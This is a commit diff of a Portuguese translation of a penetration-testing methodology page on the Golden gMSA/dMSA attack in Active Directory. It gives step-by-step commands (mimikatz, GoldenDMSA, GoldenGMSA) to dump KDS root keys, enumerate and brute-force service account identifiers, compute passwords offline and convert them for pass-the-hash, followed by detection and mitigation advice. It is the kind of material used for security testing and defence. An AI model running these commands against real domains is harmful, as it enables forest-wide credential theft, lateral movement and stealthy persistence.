Translated ['src/windows-hardening/active-directory-methodology/golden-d

This commit is contained in:
Translator 2025-07-21 22:29:38 +00:00
parent a9d4bc4d2c
commit c2859ff9c9

View File

@ -23,7 +23,6 @@ Nenhum tráfego Kerberos ou interação com o domínio é necessária durante o
Se um atacante puder obter todas as três entradas **offline**, ele pode calcular **senhas válidas atuais e futuras** para **qualquer gMSA/dMSA no bosque** sem tocar no DC novamente, contornando:
* Logs de pré-autenticação Kerberos / solicitação de ticket
* Auditoria de leitura LDAP
* Intervalos de mudança de senha (eles podem pré-computar)
@ -31,11 +30,12 @@ Isso é análogo a um *Golden Ticket* para contas de serviço.
### Pré-requisitos
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa). O acesso `SYSTEM` é suficiente.
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque.
2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID).
3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente.
### Fase 1 Extrair a Chave Raiz KDS
### Golden gMSA / dMSA
##### Fase 1 Extrair a Chave Raiz KDS
Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos):
```cmd
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
```
A string base64 rotulada como `RootKey` (nome GUID) é necessária em etapas posteriores.
### Fase 2 Enumerar objetos gMSA/dMSA
##### Fase 2 Enumerar objetos gMSA / dMSA
Recupere pelo menos `sAMAccountName`, `objectSid` e `msDS-ManagedPasswordId`:
```powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementa modos auxiliares:
```powershell
@ -64,49 +73,49 @@ GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
### Fase 3 Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
##### Fase 3 Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
Algumas implementações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
Algumas implantações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas:
1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos).
2. Seguidos por 96 bits aleatórios.
Portanto, uma **lista de palavras restrita por conta** (± algumas horas) é realista.
Portanto, uma **lista de palavras estreita por conta** (± algumas horas) é realista.
```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
```
A ferramenta calcula senhas candidatas e compara seu blob base64 com o atributo real `msDS-ManagedPassword` a correspondência revela o GUID correto.
A ferramenta calcula senhas candidatas e compara seu blob base64 com o verdadeiro atributo `msDS-ManagedPassword` a correspondência revela o GUID correto.
### Fase 4 Cálculo e Conversão de Senha Offline
##### Fase 4 Cálculo e Conversão de Senha Offline
Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância:
```powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
```
Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou **Rubeus** para abuso de Kerberos, permitindo **movimentação lateral** furtiva e **persistência**.
## Detecção e Mitigação
* Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0.
* Monitorar a criação de **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
* Monitorar a criação do **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
* Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço.
* Detectar escritas de **senha em base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
* Detectar escritas de **senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
* Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível.
## Ferramentas
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementação de referência usada nesta página.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) implementação de referência usada nesta página.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket usando chaves AES derivadas.
## Referências
- [Golden dMSA bypass de autenticação para Contas de Serviço Gerenciadas Delegadas](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [gMSA Active Directory Ataques Contas](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Repositório GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
- [Improsec ataque de confiança Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)